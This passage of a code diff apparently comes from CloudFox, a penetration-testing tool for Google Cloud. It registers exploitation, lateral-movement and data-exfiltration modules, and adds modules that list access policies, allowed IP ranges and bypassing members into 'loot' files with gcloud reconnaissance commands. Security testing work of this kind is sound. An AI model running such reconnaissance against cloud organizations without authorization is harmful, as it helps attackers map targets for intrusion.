"bigtable-enum": true,
"spanner-enum": true,
}
// Count total modules to execute (excluding self, hidden, and excluded modules)
var modulesToRun []*cobra.Command
for _, childCmd := range GCPCommands.Commands() {
if childCmd == cmd { // Skip the run-all command itself
continue
}
GCPLogger.InfoM(fmt.Sprintf("Running command: %s", childCmd.Use), "all-checks")
childCmd.Run(cmd, args)
if childCmd.Hidden { // Skip hidden commands
continue
}
if excludeFromAllChecks[childCmd.Use] {
continue
}
modulesToRun = append(modulesToRun, childCmd)
}
totalModules := len(modulesToRun)
GCPLogger.InfoM(fmt.Sprintf("Starting execution of %d modules...", totalModules), "all-checks")
GCPLogger.InfoM("", "all-checks")
for i, childCmd := range modulesToRun {
GCPLogger.InfoM(fmt.Sprintf("[%d/%d] Running: %s", i+1, totalModules, childCmd.Use), "all-checks")
childCmd.Run(cmd, args)
executedModules = append(executedModules, childCmd.Use)
}
// Print summary
duration := time.Since(startTime)
printExecutionSummary(executedModules, duration)
},
}
// loadOrPopulateOrgCache loads org cache from disk if available, or enumerates and saves it
func loadOrPopulateOrgCache(account string, forceRefresh bool) *gcpinternal.OrgCache {
// Check if cache exists and we're not forcing refresh
if !forceRefresh && gcpinternal.OrgCacheExists(GCPOutputDirectory, account) {
// Check if cache is stale (older than 24 hours)
if gcpinternal.IsCacheStale(GCPOutputDirectory, account, "org", gcpinternal.DefaultCacheExpiration) {
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
GCPLogger.InfoM(fmt.Sprintf("Org cache is stale (age: %s > 24h), refreshing...", formatDuration(age)), "gcp")
} else {
cache, metadata, err := gcpinternal.LoadOrgCacheFromFile(GCPOutputDirectory, account)
if err == nil && cache != nil {
age, _ := gcpinternal.GetCacheAge(GCPOutputDirectory, account, "org")
GCPLogger.InfoM(fmt.Sprintf("Loaded org cache from disk (age: %s, %d projects)",
formatDuration(age), metadata.TotalProjects), "gcp")
return cache
}
if err != nil {
GCPLogger.InfoM(fmt.Sprintf("Could not load org cache: %v, re-enumerating...", err), "gcp")
// Delete corrupted cache file
gcpinternal.DeleteCache(GCPOutputDirectory, account, "org")
}
}
}
// Enumerate and create cache
cache := enumerateAndCacheOrgs(account)
return cache
}
// enumerateAndCacheOrgs enumerates all orgs/folders/projects and saves to disk
func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
cache := gcpinternal.NewOrgCache()
orgsSvc := orgsservice.New()
// Get all organizations
orgs, err := orgsSvc.SearchOrganizations()
if err == nil {
for _, org := range orgs {
cache.AddOrganization(gcpinternal.CachedOrganization{
ID: org.Name[len("organizations/"):], // Strip prefix
Name: org.Name,
DisplayName: org.DisplayName,
DirectoryID: org.DirectoryID,
State: org.State,
})
}
}
// Get all folders
folders, err := orgsSvc.SearchAllFolders()
if err == nil {
for _, folder := range folders {
cache.AddFolder(gcpinternal.CachedFolder{
ID: folder.Name[len("folders/"):], // Strip prefix
Name: folder.Name,
DisplayName: folder.DisplayName,
Parent: folder.Parent,
State: folder.State,
})
}
}
// Get all projects
projects, err := orgsSvc.SearchProjects("")
if err == nil {
for _, project := range projects {
// Extract project number from Name (format: "projects/123456789")
projectNumber := ""
if strings.HasPrefix(project.Name, "projects/") {
projectNumber = strings.TrimPrefix(project.Name, "projects/")
}
cache.AddProject(gcpinternal.CachedProject{
ID: project.ProjectID,
Number: projectNumber,
Name: project.Name,
DisplayName: project.DisplayName,
Parent: project.Parent,
State: project.State,
})
}
}
cache.MarkPopulated()
// Save to disk
err = gcpinternal.SaveOrgCacheToFile(cache, GCPOutputDirectory, account, "2.0.0")
if err != nil {
GCPLogger.InfoM(fmt.Sprintf("Could not save org cache to disk: %v", err), "gcp")
} else {
cacheDir := gcpinternal.GetCacheDirectory(GCPOutputDirectory, account)
GCPLogger.InfoM(fmt.Sprintf("Org cache saved to %s", cacheDir), "gcp")
}
orgsCount, foldersCount, projectsCount := cache.GetStats()
GCPLogger.InfoM(fmt.Sprintf("Organization cache populated: %d org(s), %d folder(s), %d project(s)",
orgsCount, foldersCount, projectsCount), "gcp")
return cache
}
// printExecutionSummary prints a summary of all executed modules
func printExecutionSummary(modules []string, duration time.Duration) {
GCPLogger.InfoM("", "all-checks") // blank line
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
GCPLogger.InfoM(" EXECUTION SUMMARY ", "all-checks")
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
GCPLogger.InfoM(fmt.Sprintf("Total modules executed: %d", len(modules)), "all-checks")
GCPLogger.InfoM(fmt.Sprintf("Total execution time: %s", formatDuration(duration)), "all-checks")
GCPLogger.InfoM("", "all-checks")
GCPLogger.InfoM("Modules executed:", "all-checks")
// Print modules in columns for better readability
const columnsPerRow = 4
for i := 0; i < len(modules); i += columnsPerRow {
row := " "
for j := i; j < i+columnsPerRow && j < len(modules); j++ {
row += fmt.Sprintf("%-20s", modules[j])
}
GCPLogger.InfoM(row, "all-checks")
}
GCPLogger.InfoM("", "all-checks")
GCPLogger.InfoM(fmt.Sprintf("Output directory: %s", GCPOutputDirectory), "all-checks")
GCPLogger.InfoM("════════════════════════════════════════════════════════════", "all-checks")
}
// formatDuration formats a duration in a human-readable way
func formatDuration(d time.Duration) string {
if d < time.Minute {
return fmt.Sprintf("%.1f seconds", d.Seconds())
} else if d < time.Hour {
minutes := int(d.Minutes())
seconds := int(d.Seconds()) % 60
return fmt.Sprintf("%dm %ds", minutes, seconds)
}
hours := int(d.Hours())
minutes := int(d.Minutes()) % 60
return fmt.Sprintf("%dh %dm", hours, minutes)
}
func init() {
// Globals flags for the GCP commands
@@ -86,7 +494,7 @@ func init() {
// GCPCommands.PersistentFlags().StringVarP(&GCPOrganization, "organization", "o", "", "Organization name or number, repetable")
GCPCommands.PersistentFlags().StringVarP(&GCPProjectID, "project", "p", "", "GCP project ID")
GCPCommands.PersistentFlags().StringVarP(&GCPProjectIDsFilePath, "project-list", "l", "", "Path to a file containing a list of project IDs separated by newlines")
// GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "a", false, "Use all project IDs available to activated gloud account or given gcloud account")
GCPCommands.PersistentFlags().BoolVarP(&GCPAllProjects, "all-projects", "A", false, "Automatically discover and target all accessible projects")
// GCPCommands.PersistentFlags().BoolVarP(&GCPConfirm, "yes", "y", false, "Non-interactive mode (like apt/yum)")
// GCPCommands.PersistentFlags().StringVarP(&GCPOutputFormat, "output", "", "brief", "[\"brief\" | \"wide\" ]")
GCPCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 2, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
@@ -94,16 +502,102 @@ func init() {
GCPCommands.PersistentFlags().StringVar(&GCPOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
// GCPCommands.PersistentFlags().IntVarP(&Goroutines, "max-goroutines", "g", 30, "Maximum number of concurrent goroutines")
GCPCommands.PersistentFlags().BoolVarP(&GCPWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
GCPCommands.PersistentFlags().BoolVar(&GCPFlatOutput, "flat-output", false, "Use legacy flat output structure instead of hierarchical per-project directories")
GCPCommands.PersistentFlags().BoolVar(&GCPRefreshCache, "refresh-cache", false, "Force re-enumeration of cached data (cache auto-expires after 24 hours)")
// Available commands
GCPCommands.AddCommand(
commands.GCPBucketsCommand,
// Core/existing commands
commands.GCPStorageCommand,
commands.GCPArtifactRegistryCommand,
commands.GCPBigQueryCommand,
commands.GCPSecretsCommand,
commands.GCPIAMCommand,
commands.GCPPermissionsCommand,
commands.GCPResourceIAMCommand,
commands.GCPInstancesCommand,
commands.GCPWhoAmICommand,
// Compute/serverless commands
commands.GCPFunctionsCommand,
commands.GCPCloudRunCommand,
commands.GCPAppEngineCommand,
commands.GCPGKECommand,
commands.GCPCloudSQLCommand,
// New infrastructure commands
commands.GCPPubSubCommand,
commands.GCPKMSCommand,
commands.GCPLoggingCommand,
commands.GCPSchedulerCommand,
commands.GCPDNSCommand,
commands.GCPFirewallCommand,
commands.GCPServiceAccountsCommand,
commands.GCPKeysCommand,
commands.GCPEndpointsCommand,
commands.GCPWorkloadIdentityCommand,
commands.GCPIdentityFederationCommand,
commands.GCPOrganizationsCommand,
commands.GCPCloudBuildCommand,
commands.GCPMemorystoreCommand,
commands.GCPFilestoreCommand,
commands.GCPSpannerCommand,
commands.GCPBigtableCommand,
// Data processing commands
commands.GCPDataflowCommand,
commands.GCPComposerCommand,
// Security/Compliance commands
commands.GCPVPCSCCommand,
commands.GCPAssetInventoryCommand,
commands.GCPSecurityCenterCommand,
commands.GCPComplianceDashboardCommand,
commands.GCPBackupInventoryCommand,
commands.GCPCostSecurityCommand,
commands.GCPMonitoringAlertsCommand,
// Network/Infrastructure commands
commands.GCPLoadBalancersCommand,
commands.GCPVPCNetworksCommand,
commands.GCPNetworkTopologyCommand,
// ML/Data Science commands
commands.GCPNotebooksCommand,
commands.GCPDataprocCommand,
// Zero Trust/Access commands
commands.GCPIAPCommand,
commands.GCPBeyondCorpCommand,
commands.GCPAccessLevelsCommand,
// Pentest/Exploitation commands
commands.GCPPrivescCommand,
commands.GCPOrgPoliciesCommand,
commands.GCPStorageEnumCommand,
commands.GCPLoggingEnumCommand,
commands.GCPBigQueryEnumCommand,
commands.GCPBigtableEnumCommand,
commands.GCPSpannerEnumCommand,
commands.GCPCrossProjectCommand,
commands.GCPSourceReposCommand,
commands.GCPServiceAgentsCommand,
commands.GCPDomainWideDelegationCommand,
commands.GCPPrivateServiceConnectCommand,
commands.GCPCloudArmorCommand,
commands.GCPCertManagerCommand,
commands.GCPLateralMovementCommand,
commands.GCPDataExfiltrationCommand,
commands.GCPPublicAccessCommand,
commands.GCPFoxMapperCommand,
// Inventory command
commands.GCPInventoryCommand,
// Hidden admin commands
commands.GCPHiddenAdminsCommand,
// All checks (last)
GCPAllChecksCommand,
)
}
+453
View File
@@ -0,0 +1,453 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
accesspolicyservice "github.com/BishopFox/cloudfox/gcp/services/accessPolicyService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
cloudresourcemanager "google.golang.org/api/cloudresourcemanager/v1"
)
var accessLevelOrgID string
var GCPAccessLevelsCommand = &cobra.Command{
Use: globals.GCP_ACCESSLEVELS_MODULE_NAME,
Aliases: []string{"access-levels", "conditional-access", "ca"},
Short: "Enumerate Access Context Manager access levels",
Long: `Enumerate Access Context Manager access levels (conditional access policies).
Features:
- Lists all access levels in the organization
- Shows IP-based, device-based, and identity conditions
- Identifies overly permissive access levels
- Analyzes device policy requirements
Organization Discovery:
- Automatically discovers organization from project ancestry if --org not specified
- Use --org to explicitly specify an organization ID`,
Run: runGCPAccessLevelsCommand,
}
func init() {
GCPAccessLevelsCommand.Flags().StringVar(&accessLevelOrgID, "org", "", "Organization ID (required)")
}
type AccessLevelsModule struct {
gcpinternal.BaseGCPModule
OrgID string
OrgAccessLevels map[string][]accesspolicyservice.AccessLevelInfo // orgID -> access levels
LootMap map[string]map[string]*internal.LootFile // orgID -> loot files
mu sync.Mutex
}
type AccessLevelsOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o AccessLevelsOutput) TableFiles() []internal.TableFile { return o.Table }
func (o AccessLevelsOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPAccessLevelsCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_ACCESSLEVELS_MODULE_NAME)
if err != nil {
return
}
// Discover organizations if not specified
orgIDs := []string{}
if accessLevelOrgID != "" {
orgIDs = append(orgIDs, accessLevelOrgID)
} else {
// Auto-discover organizations from project ancestry
discoveredOrgs := discoverOrganizations(cmdCtx.Ctx, cmdCtx.ProjectIDs, cmdCtx.Logger)
if len(discoveredOrgs) == 0 {
cmdCtx.Logger.ErrorM("Could not discover any organizations. Use --org flag to specify one.", globals.GCP_ACCESSLEVELS_MODULE_NAME)
return
}
orgIDs = discoveredOrgs
cmdCtx.Logger.InfoM(fmt.Sprintf("Discovered %d organization(s) from project ancestry", len(orgIDs)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
module := &AccessLevelsModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
OrgAccessLevels: make(map[string][]accesspolicyservice.AccessLevelInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
// Process each organization
for _, orgID := range orgIDs {
module.processOrg(cmdCtx.Ctx, orgID, cmdCtx.Logger)
}
// Write combined output
allLevels := module.getAllAccessLevels()
if len(allLevels) == 0 {
cmdCtx.Logger.InfoM("No access levels found", globals.GCP_ACCESSLEVELS_MODULE_NAME)
return
}
cmdCtx.Logger.SuccessM(fmt.Sprintf("Found %d access level(s)", len(allLevels)), globals.GCP_ACCESSLEVELS_MODULE_NAME)
module.writeOutput(cmdCtx.Ctx, cmdCtx.Logger)
}
// discoverOrganizations finds organization IDs from project ancestry
func discoverOrganizations(ctx context.Context, projectIDs []string, logger internal.Logger) []string {
crmService, err := cloudresourcemanager.NewService(ctx)
if err != nil {
return nil
}
orgMap := make(map[string]bool)
for _, projectID := range projectIDs {
resp, err := crmService.Projects.GetAncestry(projectID, &cloudresourcemanager.GetAncestryRequest{}).Do()
if err != nil {
continue
}
for _, ancestor := range resp.Ancestor {
if ancestor.ResourceId.Type == "organization" {
orgMap[ancestor.ResourceId.Id] = true
}
}
}
var orgs []string
for orgID := range orgMap {
orgs = append(orgs, orgID)
}
return orgs
}
func (m *AccessLevelsModule) getAllAccessLevels() []accesspolicyservice.AccessLevelInfo {
var all []accesspolicyservice.AccessLevelInfo
for _, levels := range m.OrgAccessLevels {
all = append(all, levels...)
}
return all
}
func (m *AccessLevelsModule) processOrg(ctx context.Context, orgID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating access levels for organization: %s", orgID), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
m.mu.Lock()
// Initialize loot for this org
if m.LootMap[orgID] == nil {
m.LootMap[orgID] = make(map[string]*internal.LootFile)
m.LootMap[orgID]["access-levels-details"] = &internal.LootFile{
Name: "access-levels-details",
Contents: "# Access Levels (Conditional Access Policies)\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[orgID]["access-levels-allowed-ips"] = &internal.LootFile{
Name: "access-levels-allowed-ips",
Contents: "",
}
}
m.mu.Unlock()
svc := accesspolicyservice.New()
levels, err := svc.ListAccessLevels(orgID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_ACCESSLEVELS_MODULE_NAME,
fmt.Sprintf("Could not list access levels for org %s", orgID))
return
}
m.mu.Lock()
m.OrgAccessLevels[orgID] = levels
for _, level := range levels {
m.addToLoot(orgID, level)
}
m.mu.Unlock()
}
func (m *AccessLevelsModule) addToLoot(orgID string, level accesspolicyservice.AccessLevelInfo) {
if lootFile := m.LootMap[orgID]["access-levels-details"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# ACCESS LEVEL: %s\n"+
"# =============================================================================\n"+
"# Title: %s\n"+
"# Policy: %s\n"+
"# Combining Function: %s\n"+
"# Conditions: %d\n",
level.Name, level.Title, level.PolicyName, level.CombiningFunction, len(level.Conditions))
// Condition details
for i, condition := range level.Conditions {
lootFile.Contents += fmt.Sprintf("# --- Condition %d ---\n", i+1)
if len(condition.IPSubnetworks) > 0 {
lootFile.Contents += fmt.Sprintf("# IP Subnets: %s\n", strings.Join(condition.IPSubnetworks, ", "))
}
if len(condition.Members) > 0 {
lootFile.Contents += fmt.Sprintf("# Members: %s\n", strings.Join(condition.Members, ", "))
}
if len(condition.Regions) > 0 {
lootFile.Contents += fmt.Sprintf("# Regions: %s\n", strings.Join(condition.Regions, ", "))
}
if condition.DevicePolicy != nil {
lootFile.Contents += "# Device Policy: configured\n"
}
}
// Extract short level name for gcloud commands
levelName := level.Name
policyName := level.PolicyName
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe this access level:
gcloud access-context-manager levels describe %s --policy=%s
# List all conditions for this access level:
gcloud access-context-manager levels describe %s --policy=%s --format=json | jq '.basic.conditions'
# List all access levels in this policy:
gcloud access-context-manager levels list --policy=%s
# === EXPLOIT COMMANDS ===
# Check if your current IP is allowed by this access level:
curl -s ifconfig.me && echo " <- Check if this IP is in the allowed subnets above"
`, levelName, policyName,
levelName, policyName,
policyName)
// Add IP-specific bypass checks
if len(level.Conditions) > 0 {
for _, condition := range level.Conditions {
if len(condition.IPSubnetworks) > 0 {
lootFile.Contents += "# Test connectivity from allowed IP ranges (use with VPN/proxy):\n"
for _, ip := range condition.IPSubnetworks {
lootFile.Contents += fmt.Sprintf("# Allowed subnet: %s\n", ip)
}
lootFile.Contents += "\n"
}
if len(condition.Members) > 0 {
lootFile.Contents += "# Members that can bypass this access level:\n"
for _, member := range condition.Members {
lootFile.Contents += fmt.Sprintf("# %s\n", member)
}
lootFile.Contents += "\n"
}
}
}
}
for _, condition := range level.Conditions {
for _, ip := range condition.IPSubnetworks {
if lootFile := m.LootMap[orgID]["access-levels-allowed-ips"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf("%s # %s\n", ip, level.Name)
}
}
}
}
func (m *AccessLevelsModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *AccessLevelsModule) getLevelsHeader() []string {
return []string{"Org ID", "Name", "Title", "Policy", "Combining", "Conditions", "Device Policy"}
}
func (m *AccessLevelsModule) getConditionsHeader() []string {
return []string{"Org ID", "Level", "Condition", "IP Ranges", "Members", "Regions", "Device Requirements"}
}
func (m *AccessLevelsModule) levelsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
var body [][]string
for _, level := range levels {
hasDevicePolicy := "No"
for _, cond := range level.Conditions {
if cond.DevicePolicy != nil {
hasDevicePolicy = "Yes"
break
}
}
combiningFunc := level.CombiningFunction
if combiningFunc == "" {
combiningFunc = "AND"
}
body = append(body, []string{
orgID,
level.Name,
level.Title,
level.PolicyName,
combiningFunc,
fmt.Sprintf("%d", len(level.Conditions)),
hasDevicePolicy,
})
}
return body
}
func (m *AccessLevelsModule) conditionsToTableBody(levels []accesspolicyservice.AccessLevelInfo, orgID string) [][]string {
var body [][]string
for _, level := range levels {
for i, cond := range level.Conditions {
ipRanges := strings.Join(cond.IPSubnetworks, ", ")
if ipRanges == "" {
ipRanges = "(any)"
}
members := strings.Join(cond.Members, ", ")
if members == "" {
members = "(any)"
}
regions := strings.Join(cond.Regions, ", ")
if regions == "" {
regions = "(any)"
}
deviceReqs := "(none)"
if cond.DevicePolicy != nil {
var reqs []string
if cond.DevicePolicy.RequireScreenLock {
reqs = append(reqs, "screen-lock")
}
if cond.DevicePolicy.RequireCorpOwned {
reqs = append(reqs, "corp-owned")
}
if cond.DevicePolicy.RequireAdminApproval {
reqs = append(reqs, "admin-approval")
}
if len(reqs) > 0 {
deviceReqs = strings.Join(reqs, ", ")
}
}
body = append(body, []string{
orgID,
level.Name,
fmt.Sprintf("%d", i+1),
ipRanges,
members,
regions,
deviceReqs,
})
}
}
return body
}
func (m *AccessLevelsModule) buildTablesForOrg(orgID string) []internal.TableFile {
var tableFiles []internal.TableFile
if levels, ok := m.OrgAccessLevels[orgID]; ok && len(levels) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "access-levels",
Header: m.getLevelsHeader(),
Body: m.levelsToTableBody(levels, orgID),
})
condBody := m.conditionsToTableBody(levels, orgID)
if len(condBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "access-level-conditions",
Header: m.getConditionsHeader(),
Body: condBody,
})
}
}
return tableFiles
}
func (m *AccessLevelsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for orgID := range m.OrgAccessLevels {
tableFiles := m.buildTablesForOrg(orgID)
var lootFiles []internal.LootFile
if orgLoot, ok := m.LootMap[orgID]; ok {
for _, loot := range orgLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.OrgLevelData[orgID] = AccessLevelsOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
}
func (m *AccessLevelsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
var tables []internal.TableFile
// Collect all org IDs
var orgIDs []string
for orgID := range m.OrgAccessLevels {
orgIDs = append(orgIDs, orgID)
}
// Build combined tables with org ID in each row
var allLevelRows [][]string
var allCondRows [][]string
for orgID, levels := range m.OrgAccessLevels {
allLevelRows = append(allLevelRows, m.levelsToTableBody(levels, orgID)...)
allCondRows = append(allCondRows, m.conditionsToTableBody(levels, orgID)...)
}
if len(allLevelRows) > 0 {
tables = append(tables, internal.TableFile{
Name: "access-levels",
Header: m.getLevelsHeader(),
Body: allLevelRows,
})
}
if len(allCondRows) > 0 {
tables = append(tables, internal.TableFile{
Name: "access-level-conditions",
Header: m.getConditionsHeader(),
Body: allCondRows,
})
}
var lootFiles []internal.LootFile
for _, orgLoot := range m.LootMap {
for _, loot := range orgLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := AccessLevelsOutput{Table: tables, Loot: lootFiles}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"org", orgIDs, orgIDs, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_ACCESSLEVELS_MODULE_NAME)
}
}
+828
View File
@@ -0,0 +1,828 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
"google.golang.org/api/appengine/v1"
)
// Module name constant
const GCP_APPENGINE_MODULE_NAME string = "app-engine"
var GCPAppEngineCommand = &cobra.Command{
Use: GCP_APPENGINE_MODULE_NAME,
Aliases: []string{"appengine", "gae"},
Short: "Enumerate App Engine applications and security configurations",
Long: `Analyze App Engine applications for security configurations and potential issues.
Features:
- Lists all App Engine services and versions
- Identifies public services without authentication
- Analyzes ingress settings and firewall rules
- Detects environment variable secrets
- Reviews service account configurations
- Identifies deprecated runtimes
- Analyzes traffic splitting configurations`,
Run: runGCPAppEngineCommand,
}
// ------------------------------
// Data Structures
// ------------------------------
type AppEngineApp struct {
ProjectID string
ID string
LocationID string
AuthDomain string
DefaultHostname string
ServingStatus string
DefaultBucket string
ServiceAccount string
DispatchRules int
FirewallRules int
}
type AppEngineService struct {
ProjectID string
ID string
AppID string
Split map[string]float64
DefaultURL string
VersionCount int
LatestVersion string
}
type AppEngineVersion struct {
ProjectID string
ServiceID string
ID string
AppID string
Runtime string
Environment string
ServingStatus string
CreateTime string
InstanceClass string
Scaling string
Network string
VPCConnector string
IngressSettings string
EnvVarCount int
SecretEnvVars int
ServiceAccount string
URL string
DeprecatedRuntime bool
DefaultSA bool
Public bool
}
type AppEngineFirewallRule struct {
ProjectID string
Priority int64
Action string
SourceRange string
Description string
}
// ------------------------------
// Module Struct
// ------------------------------
type AppEngineModule struct {
gcpinternal.BaseGCPModule
// Per-project data for hierarchical output
ProjectApps map[string][]AppEngineApp
ProjectServices map[string][]AppEngineService
ProjectVersions map[string][]AppEngineVersion
ProjectFirewallRules map[string][]AppEngineFirewallRule
LootMap map[string]map[string]*internal.LootFile
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for attack path analysis
mu sync.Mutex
totalApps int
totalServices int
publicCount int
secretsFound int
}
// ------------------------------
// Output Struct
// ------------------------------
type AppEngineOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o AppEngineOutput) TableFiles() []internal.TableFile { return o.Table }
func (o AppEngineOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPAppEngineCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_APPENGINE_MODULE_NAME)
if err != nil {
return
}
module := &AppEngineModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectApps: make(map[string][]AppEngineApp),
ProjectServices: make(map[string][]AppEngineService),
ProjectVersions: make(map[string][]AppEngineVersion),
ProjectFirewallRules: make(map[string][]AppEngineFirewallRule),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *AppEngineModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
logger.InfoM("Enumerating App Engine applications...", GCP_APPENGINE_MODULE_NAME)
aeService, err := appengine.NewService(ctx)
if err != nil {
logger.ErrorM(fmt.Sprintf("Failed to create App Engine service: %v", err), GCP_APPENGINE_MODULE_NAME)
return
}
var wg sync.WaitGroup
for _, projectID := range m.ProjectIDs {
wg.Add(1)
go func(project string) {
defer wg.Done()
m.processProject(ctx, project, aeService, logger)
}(projectID)
}
wg.Wait()
if m.totalApps == 0 {
logger.InfoM("No App Engine applications found", GCP_APPENGINE_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d App Engine app(s) with %d service(s) and %d version(s)",
m.totalApps, m.totalServices, len(m.getAllVersions())), GCP_APPENGINE_MODULE_NAME)
if m.publicCount > 0 {
logger.InfoM(fmt.Sprintf("Found %d public service(s) without authentication", m.publicCount), GCP_APPENGINE_MODULE_NAME)
}
if m.secretsFound > 0 {
logger.InfoM(fmt.Sprintf("Found %d potential secret(s) in environment variables", m.secretsFound), GCP_APPENGINE_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *AppEngineModule) processProject(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating App Engine for project: %s", projectID), GCP_APPENGINE_MODULE_NAME)
}
app, err := aeService.Apps.Get(projectID).Do()
if err != nil {
if !strings.Contains(err.Error(), "404") {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not get App Engine app in project %s", projectID))
}
return
}
m.mu.Lock()
m.totalApps++
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["appengine-commands"] = &internal.LootFile{
Name: "appengine-commands",
Contents: "# App Engine Commands\n" +
"# Generated by CloudFox\n" +
"# WARNING: Only use with proper authorization\n\n",
}
}
// Add app-level enumeration and exploit commands to loot
m.addAppToLoot(projectID, app.Id, app.DefaultHostname, app.LocationId, app.ServiceAccount)
m.mu.Unlock()
appRecord := AppEngineApp{
ProjectID: projectID,
ID: app.Id,
LocationID: app.LocationId,
AuthDomain: app.AuthDomain,
DefaultHostname: app.DefaultHostname,
ServingStatus: app.ServingStatus,
DefaultBucket: app.DefaultBucket,
ServiceAccount: app.ServiceAccount,
}
if app.DispatchRules != nil {
appRecord.DispatchRules = len(app.DispatchRules)
}
m.mu.Lock()
m.ProjectApps[projectID] = append(m.ProjectApps[projectID], appRecord)
m.mu.Unlock()
m.enumerateServices(ctx, projectID, aeService, logger)
m.enumerateFirewallRules(ctx, projectID, aeService, logger)
}
func (m *AppEngineModule) enumerateServices(ctx context.Context, projectID string, aeService *appengine.APIService, logger internal.Logger) {
services, err := aeService.Apps.Services.List(projectID).Do()
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
fmt.Sprintf("Could not enumerate App Engine services in project %s", projectID))
return
}
for _, svc := range services.Services {
m.mu.Lock()
m.totalServices++
m.mu.Unlock()
serviceRecord := AppEngineService{
ProjectID: projectID,
ID: svc.Id,
AppID: projectID,
}
if svc.Split != nil {
serviceRecord.Split = svc.Split.Allocations
}
m.mu.Lock()
m.ProjectServices[projectID] = append(m.ProjectServices[projectID], serviceRecord)
m.mu.Unlock()
ingressSettings := "all"
if svc.NetworkSettings != nil && svc.NetworkSettings.IngressTrafficAllowed != "" {
ingressSettings = svc.NetworkSettings.IngressTrafficAllowed
}
m.enumerateVersions(ctx, projectID, svc.Id, ingressSettings, aeService, logger)
}
}
func (m *AppEngineModule) enumerateVersions(ctx context.Context, projectID, serviceID, ingressSettings string, aeService *appengine.APIService, logger internal.Logger) {
versions, err := aeService.Apps.Services.Versions.List(projectID, serviceID).Do()
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_APPENGINE_MODULE_NAME,
